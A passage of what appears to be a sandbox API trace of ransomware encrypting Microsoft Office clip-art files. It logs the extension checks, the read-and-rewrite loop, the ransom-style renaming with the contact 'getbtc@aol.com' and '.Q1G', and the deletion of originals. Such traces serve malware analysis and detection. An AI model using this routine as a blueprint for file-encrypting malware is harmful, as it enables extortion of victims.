(lpString1=".dbf", lpString2=".JPG") returned -1 [0264.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0264.461] lstrlenW (lpString=".1cd") returned 4 [0264.461] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0264.461] lstrlenW (lpString=".jpg") returned 4 [0264.461] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.461] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0264.461] lstrlenW (lpString="J0178932.JPG") returned 12 [0264.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0264.477] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=35340) returned 1 [0264.477] CloseHandle (hObject=0x1f8) returned 1 [0264.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg")) returned 0x20 [0264.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0264.540] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.540] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0264.541] GetLastError () returned 0x0 [0264.541] ReadFile (in: hFile=0x360, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x8a0c, lpOverlapped=0x0) returned 1 [0264.558] WriteFile (in: hFile=0x388, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x8a10, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x8a10, lpOverlapped=0x0) returned 1 [0264.560] ReadFile (in: hFile=0x360, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.560] WriteFile (in: hFile=0x388, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.560] SetEndOfFile (hFile=0x388) returned 1 [0264.560] CloseHandle (hObject=0x388) returned 1 [0264.560] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.560] SetEndOfFile (hFile=0x360) returned 1 [0264.564] CloseHandle (hObject=0x360) returned 1 [0264.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.565] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg")) returned 1 [0264.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0264.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0264.566] lstrlenW (lpString=".doc") returned 4 [0264.566] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.566] lstrlenW (lpString=".docx") returned 5 [0264.566] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0264.566] lstrlenW (lpString=".pdf") returned 4 [0264.566] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.566] lstrlenW (lpString=".xls") returned 4 [0264.566] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.566] lstrlenW (lpString=".xlsx") returned 5 [0264.566] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0264.566] lstrlenW (lpString=".ppt") returned 4 [0264.566] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0264.566] lstrlenW (lpString=".zip") returned 4 [0264.566] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.566] lstrlenW (lpString=".rar") returned 4 [0264.566] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.566] lstrlenW (lpString=".bz2") returned 4 [0264.566] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.566] lstrlenW (lpString=".7z") returned 3 [0264.566] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0264.566] lstrlenW (lpString=".dbf") returned 4 [0264.566] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0264.566] lstrlenW (lpString=".1cd") returned 4 [0264.566] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0264.566] lstrlenW (lpString=".jpg") returned 4 [0264.566] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0264.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0264.567] lstrlenW (lpString=".doc") returned 4 [0264.567] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.567] lstrlenW (lpString=".docx") returned 5 [0264.567] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0264.567] lstrlenW (lpString=".pdf") returned 4 [0264.567] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.567] lstrlenW (lpString=".xls") returned 4 [0264.567] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.567] lstrlenW (lpString=".xlsx") returned 5 [0264.567] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0264.567] lstrlenW (lpString=".ppt") returned 4 [0264.567] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0264.567] lstrlenW (lpString=".zip") returned 4 [0264.567] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.567] lstrlenW (lpString=".rar") returned 4 [0264.567] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.567] lstrlenW (lpString=".bz2") returned 4 [0264.567] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.567] lstrlenW (lpString=".7z") returned 3 [0264.567] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0264.567] lstrlenW (lpString=".dbf") returned 4 [0264.567] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0264.567] lstrlenW (lpString=".1cd") returned 4 [0264.567] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0264.567] lstrlenW (lpString=".jpg") returned 4 [0264.567] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.567] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0264.568] lstrlenW (lpString="J0182946.WMF") returned 12 [0264.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0264.568] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=16082) returned 1 [0264.568] CloseHandle (hObject=0x360) returned 1 [0264.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf")) returned 0x20 [0264.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0264.569] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.569] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0264.569] GetLastError () returned 0x0 [0264.569] ReadFile (in: hFile=0x360, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x3ed2, lpOverlapped=0x0) returned 1 [0264.580] WriteFile (in: hFile=0x388, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x3ee0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x3ee0, lpOverlapped=0x0) returned 1 [0264.581] ReadFile (in: hFile=0x360, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.581] WriteFile (in: hFile=0x388, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.581] SetEndOfFile (hFile=0x388) returned 1 [0264.582] CloseHandle (hObject=0x388) returned 1 [0264.582] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.582] SetEndOfFile (hFile=0x360) returned 1 [0264.584] CloseHandle (hObject=0x360) returned 1 [0264.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.585] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf")) returned 1 [0264.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0264.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0264.586] lstrlenW (lpString=".doc") returned 4 [0264.586] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.586] lstrlenW (lpString=".docx") returned 5 [0264.586] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0264.586] lstrlenW (lpString=".pdf") returned 4 [0264.586] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.587] lstrlenW (lpString=".xls") returned 4 [0264.587] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.587] lstrlenW (lpString=".xlsx") returned 5 [0264.587] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0264.587] lstrlenW (lpString=".ppt") returned 4 [0264.587] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0264.587] lstrlenW (lpString=".zip") returned 4 [0264.587] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.587] lstrlenW (lpString=".rar") returned 4 [0264.587] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.587] lstrlenW (lpString=".bz2") returned 4 [0264.587] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.587] lstrlenW (lpString=".7z") returned 3 [0264.587] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0264.587] lstrlenW (lpString=".dbf") returned 4 [0264.587] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0264.587] lstrlenW (lpString=".1cd") returned 4 [0264.587] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0264.587] lstrlenW (lpString=".jpg") returned 4 [0264.587] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0264.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0264.587] lstrlenW (lpString=".doc") returned 4 [0264.587] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.587] lstrlenW (lpString=".docx") returned 5 [0264.587] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0264.587] lstrlenW (lpString=".pdf") returned 4 [0264.587] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.587] lstrlenW (lpString=".xls") returned 4 [0264.587] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.588] lstrlenW (lpString=".xlsx") returned 5 [0264.588] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0264.588] lstrlenW (lpString=".ppt") returned 4 [0264.588] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0264.588] lstrlenW (lpString=".zip") returned 4 [0264.588] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.588] lstrlenW (lpString=".rar") returned 4 [0264.588] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.588] lstrlenW (lpString=".bz2") returned 4 [0264.588] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.588] lstrlenW (lpString=".7z") returned 3 [0264.588] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0264.588] lstrlenW (lpString=".dbf") returned 4 [0264.588] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0264.588] lstrlenW (lpString=".1cd") returned 4 [0264.588] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF") returned 63 [0264.588] lstrlenW (lpString=".jpg") returned 4 [0264.588] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.588] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0264.588] lstrlenW (lpString="J0183174.WMF") returned 12 [0264.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0264.613] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=28626) returned 1 [0264.613] CloseHandle (hObject=0x3d8) returned 1 [0264.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf")) returned 0x20 [0264.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0264.632] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.632] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0264.632] GetLastError () returned 0x0 [0264.632] ReadFile (in: hFile=0x3a0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x6fd2, lpOverlapped=0x0) returned 1 [0264.657] WriteFile (in: hFile=0x390, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x6fe0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x6fe0, lpOverlapped=0x0) returned 1 [0264.658] ReadFile (in: hFile=0x3a0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.658] WriteFile (in: hFile=0x390, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.659] SetEndOfFile (hFile=0x390) returned 1 [0264.659] CloseHandle (hObject=0x390) returned 1 [0264.659] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.659] SetEndOfFile (hFile=0x3a0) returned 1 [0264.661] CloseHandle (hObject=0x3a0) returned 1 [0264.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.668] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf")) returned 1 [0264.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0264.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0264.668] lstrlenW (lpString=".doc") returned 4 [0264.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.668] lstrlenW (lpString=".docx") returned 5 [0264.668] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0264.668] lstrlenW (lpString=".pdf") returned 4 [0264.668] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.668] lstrlenW (lpString=".xls") returned 4 [0264.668] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.668] lstrlenW (lpString=".xlsx") returned 5 [0264.668] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0264.668] lstrlenW (lpString=".ppt") returned 4 [0264.668] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0264.669] lstrlenW (lpString=".zip") returned 4 [0264.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.669] lstrlenW (lpString=".rar") returned 4 [0264.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.669] lstrlenW (lpString=".bz2") returned 4 [0264.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.669] lstrlenW (lpString=".7z") returned 3 [0264.669] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0264.669] lstrlenW (lpString=".dbf") returned 4 [0264.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0264.669] lstrlenW (lpString=".1cd") returned 4 [0264.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0264.669] lstrlenW (lpString=".jpg") returned 4 [0264.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0264.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0264.669] lstrlenW (lpString=".doc") returned 4 [0264.669] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.669] lstrlenW (lpString=".docx") returned 5 [0264.669] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0264.669] lstrlenW (lpString=".pdf") returned 4 [0264.669] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.669] lstrlenW (lpString=".xls") returned 4 [0264.669] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.669] lstrlenW (lpString=".xlsx") returned 5 [0264.669] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0264.669] lstrlenW (lpString=".ppt") returned 4 [0264.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0264.669] lstrlenW (lpString=".zip") returned 4 [0264.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.669] lstrlenW (lpString=".rar") returned 4 [0264.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.669] lstrlenW (lpString=".bz2") returned 4 [0264.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.670] lstrlenW (lpString=".7z") returned 3 [0264.670] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0264.670] lstrlenW (lpString=".dbf") returned 4 [0264.670] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0264.670] lstrlenW (lpString=".1cd") returned 4 [0264.670] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0264.670] lstrlenW (lpString=".jpg") returned 4 [0264.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.670] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0264.670] lstrlenW (lpString="J0185670.WMF") returned 12 [0264.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft 